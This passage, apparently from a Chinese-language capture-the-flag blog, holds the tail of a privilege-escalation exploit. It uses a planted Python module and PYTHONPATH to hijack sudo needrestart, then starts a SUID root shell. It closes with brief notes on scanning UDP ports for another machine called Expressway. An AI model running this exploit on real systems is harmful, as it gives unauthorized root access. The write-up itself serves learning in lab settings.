print(f"[+] 监控PID: {os.getpid()}", flush=True)
print("[*] 触发系统服务...", flush=True)
 
# 触发服务
for trigger in ["sudo /usr/sbin/needrestart", "sudo systemctl daemon-reload"]:
    try:
        subprocess.run(trigger.split(), timeout=2, capture_output=True)
    except:
        pass
 
# 等待并执行
timeout = 30
start_time = time.time()
 
while time.time() - start_time < timeout:
    try:
        import importlib
        print("[+] 恶意模块执行成功!", flush=True)
    except Exception as e:
        pass
    
    if os.path.exists("/home/fismathack/exploit_success"):
        print("[+] 提权成功! 启动shell...", flush=True)
        time.sleep(1)
        
        if start_suid_shell():
            break
    
    time.sleep(0.5)
END
 
# 执行 - 使用无缓冲模式
echo "[+] 开始提权..."
cd /home/fismathack/exploit
PYTHONPATH="/home/fismathack/exploit" python3 -u /home/fismathack/exploit/nuii.py

这里输入没有显示的(

image

Expressway

扫出来只有 22 端口一脸懵逼

image

然后才知道原来这个只扫了 tcp 端口,还有 udp 端口


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录